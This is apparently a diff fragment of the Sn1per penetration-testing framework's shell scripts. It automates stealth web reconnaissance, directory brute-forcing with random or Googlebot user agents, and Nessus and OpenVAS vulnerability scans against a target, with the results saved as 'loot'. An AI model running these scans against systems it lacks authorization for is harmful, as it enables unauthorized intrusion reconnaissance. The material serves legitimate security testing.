if [[ "$WHATWEB" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING HTTP INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
whatweb -a 3 https://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-https.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-https.raw > $LOOT_DIR/web/whatweb-$TARGET-https.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/whatweb-$TARGET-https.raw 2> /dev/null
|
||||
fi
|
||||
if [[ "$WIG" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SERVER INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/wig/wig.py -d -q https://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-https
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https > $LOOT_DIR/web/wig-$TARGET-https.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/wig-$TARGET-https 2> /dev/null
|
||||
fi
|
||||
if [[ "$WEBTECH" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
webtech -u https://$TARGET | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-https.txt
|
||||
fi
|
||||
if [[ "$PASSIVE_SPIDER" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null$RESET"
|
||||
fi
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2022-33-index?url=*.$TARGET&output=json" -H 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36' 2> /dev/null | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
|
||||
if [ "$BLACKWIDOW" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WAYBACKMACHINE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$HACKERTARGET" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s GET "https://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid|error getting links" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null | head -n 250
|
||||
echo " "
|
||||
fi
|
||||
if [[ "$GAU" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING GUA URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
gau --subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$BLACKWIDOW" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN blackwidow -u https://$TARGET:443 -l 3$RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
|
||||
blackwidow -u https://$TARGET:443 -l 1 -v n
|
||||
cp -f /usr/share/blackwidow/"$TARGET"_443/"$TARGET"_443-*.txt $LOOT_DIR/web/ 2>/dev/null
|
||||
cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
|
||||
mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null >> $LOOT_DIR/web/spider-new-$TARGET.txt
|
||||
if [[ $(wc -c $LOOT_DIR/web/spider-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
head -n 20 $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" && "SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
|
||||
fi
|
||||
blackwidow -u https://$TARGET:443 -l 2 -v n
|
||||
cat /usr/share/blackwidow/$TARGET*/* >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
fi
|
||||
if [ $WEB_BRUTE_STEALTHSCAN == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
source $INSTALL_DIR/modes/static-grep-search.sh
|
||||
if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then
|
||||
source $INSTALL_DIR/modes/javascript-analysis.sh
|
||||
fi
|
||||
if [[ $WEB_BRUTE_STEALTHSCAN == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
|
||||
mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null >> $LOOT_DIR/web/dirsearch-new-$TARGET.txt
|
||||
if [[ $(wc -c $LOOT_DIR/web/dirsearch-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN wget https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null$RESET"
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u https://$TARGET -w $WEB_BRUTE_STEALTH -e | tee $LOOT_DIR/web/webbrute-$TARGET-https-stealth.txt
|
||||
sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
wget https://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-https.txt 2> /dev/null
|
||||
egrep -v '<|>|;|(|)' $LOOT_DIR/web/robots-$TARGET-https.txt | tee $LOOT_DIR/web/robots-$TARGET-https.txt
|
||||
fi
|
||||
if [ "$SSL" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$SSL" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SSL/TLS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN sslscan --no-failed $TARGET | tee $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null$RESET"
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
sslscan --no-failed $TARGET | tee $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/sslscan-$TARGET.raw > $LOOT_DIR/web/sslscan-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$SSL_INSECURE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR INSECURE SSL/TLS CONFIGURATIONS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl https://$TARGET 2> $LOOT_DIR/web/curldebug-$TARGET.txt > /dev/null
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SAVING SCREENSHOTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ ${DISTRO} == "blackarch" ]; then
|
||||
/bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
else
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null$RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ $CUTYCAPT = "1" ]]; then
|
||||
if [[ $DISTRO == "blackarch" ]]; then
|
||||
/bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
else
|
||||
cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
fi
|
||||
cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
fi
|
||||
if [[ $WEBSCREENSHOT = "1" ]]; then
|
||||
cd $LOOT_DIR
|
||||
python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:443
|
||||
fi
|
||||
echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port443.jpg"
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
|
||||
if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SC0PE PASSIVE WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
SSL="false"
|
||||
PORT="80"
|
||||
source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
|
||||
SSL="true"
|
||||
PORT="443"
|
||||
source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
|
||||
for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do
|
||||
source $file
|
||||
done
|
||||
source $INSTALL_DIR/modes/sc0pe-network-scan.sh
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
source $INSTALL_DIR/modes/sc0pe.sh
|
||||
fi
|
||||
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SCAN COMPLETE! $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
|
|
@ -363,10 +519,13 @@ if [ "$MODE" = "stealth" ]; then
|
|||
echo -e ""
|
||||
echo -e ""
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
rm -f $LOOT_DIR/scans/running_${TARGET}_stealth.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
rm -f $INSTALL_DIR/.fuse_* 2> /dev/null
|
||||
sort -u $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null > $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null
|
||||
if [ "$LOOT" = "1" ]; then
|
||||
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
exit
|
||||
fi
|
||||
fi
|
||||
|
|
|
|||
|
|
@ -0,0 +1,134 @@
|
|||
# FULLPORTONLY MODE
|
||||
if [[ "$MODE" = "vulnscan" ]]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
args="-t $TARGET"
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/domains 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
mkdir $LOOT_DIR/nmap 2> /dev/null
|
||||
mkdir $LOOT_DIR/notes 2> /dev/null
|
||||
mkdir $LOOT_DIR/reports 2> /dev/null
|
||||
mkdir $LOOT_DIR/scans 2> /dev/null
|
||||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args --noreport -m vulnscan"
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-vulnscan.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
logo
|
||||
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
if [[ "$NESSUS" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING NESSUS VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
bash /usr/share/sniper/bin/nessus.sh $TARGET $NESSUS_KEY $NESSUS_HOST $NESSUS_USERNAME $NESSUS_PASSWORD $NESSUS_POLICY_ID $LOOT_DIR
|
||||
fi
|
||||
if [[ "$OPENVAS" = "1" ]]; then
|
||||
sudo openvas-start 2> /dev/null > /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING OPENVAS VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "Scanning target: $TARGET "
|
||||
echo ""
|
||||
echo "-----------------------------------------------"
|
||||
echo "Listing OpenVAS version..."
|
||||
echo "-----------------------------------------------"
|
||||
omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -O
|
||||
echo ""
|
||||
echo "Listing OpenVAS targets..."
|
||||
echo "-----------------------------------------------"
|
||||
omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -T
|
||||
echo ""
|
||||
echo "Listing OpenVAS tasks..."
|
||||
echo "-----------------------------------------------"
|
||||
omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G
|
||||
echo ""
|
||||
echo "Creating scan task..."
|
||||
echo "-----------------------------------------------"
|
||||
ASSET_ID=$(omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml="<create_target><name>$TARGET</name><hosts>$TARGET</hosts></create_target>" | xmlstarlet sel -t -v /create_target_response/@id) && echo "ASSET_ID: $ASSET_ID"
|
||||
if [[ "$ASSET_ID" == "" ]]; then
|
||||
ASSET_ID_ERROR=$(omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml="<create_target><name>$TARGET</name><hosts>$TARGET</hosts></create_target>")
|
||||
if [[ "$ASSET_ID_ERROR" == *"Target exists already"* ]]; then
|
||||
ASSET_ID=$(omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -T | grep " $TARGET" | awk '{print $1}')
|
||||
echo "ASSET_ID: $ASSET_ID"
|
||||
fi
|
||||
fi
|
||||
TASK_ID=$(omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "<create_task><name>$TARGET</name><preferences><preference><scanner_name>source_iface</scanner_name><value>eth0</value></preference></preferences><config id=\"74db13d6-7489-11df-91b9-002264764cea\"/><target id=\"$ASSET_ID\"/></create_task>" | xmlstarlet sel -t -v /create_task_response/@id) && echo "TASK_ID: $TASK_ID"
|
||||
if [[ "TASK_ID" == "" ]]; then
|
||||
omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "<create_task><name>$TARGET</name><preferences><preference><scanner_name>source_iface</scanner_name><value>eth0</value></preference></preferences><config id=\"74db13d6-7489-11df-91b9-002264764cea\"/><target id=\"$ASSET_ID\"/></create_task>"
|
||||
fi
|
||||
REPORT_ID=$(omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "<start_task task_id=\"$TASK_ID\"/>" | cut -d\> -f3 | cut -d\< -f1) && echo "REPORT_ID: $REPORT_ID"
|
||||
if [[ "$REPORT_ID" == "" ]]; then
|
||||
omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "<start_task task_id=\"$TASK_ID\"/>"
|
||||
fi
|
||||
echo ""
|
||||
resp=""
|
||||
while [[ $resp != "Done" && $REPORT_ID != "" ]]
|
||||
do
|
||||
omp -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G | grep $TASK_ID
|
||||
resp=$(omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G | grep "$TASK_ID" | awk '{print $2}')
|
||||
sleep 60
|
||||
done
|
||||
if [[ $REPORT_ID != "" ]]; then
|
||||
omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD --xml "<get_reports report_id=\"$REPORT_ID\" format_id=\"6c248850-1f62-11e1-b082-406186ea4fc5\"/>" | cut -d\> -f3 | cut -d\< -f1 | base64 -d > "$LOOT_DIR/output/openvas-$TARGET.html"
|
||||
|
||||
echo "Report saved to $LOOT_DIR/output/openvas-$TARGET.html"
|
||||
cat $LOOT_DIR/output/openvas-$TARGET.html 2> /dev/null
|
||||
else
|
||||
echo "No report ID found. Listing scan tasks:"
|
||||
omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G | grep $TARGET
|
||||
fi
|
||||
fi
|
||||
if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
SSL="false"
|
||||
PORT="80"
|
||||
source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
|
||||
source $INSTALL_DIR/modes/sc0pe-active-webscan.sh
|
||||
SSL="true"
|
||||
PORT="443"
|
||||
source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh
|
||||
source $INSTALL_DIR/modes/sc0pe-active-webscan.sh
|
||||
|
||||
for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do
|
||||
source $file
|
||||
done
|
||||
|
||||
source $INSTALL_DIR/modes/sc0pe-network-scan.sh
|
||||
fi
|
||||
|
||||
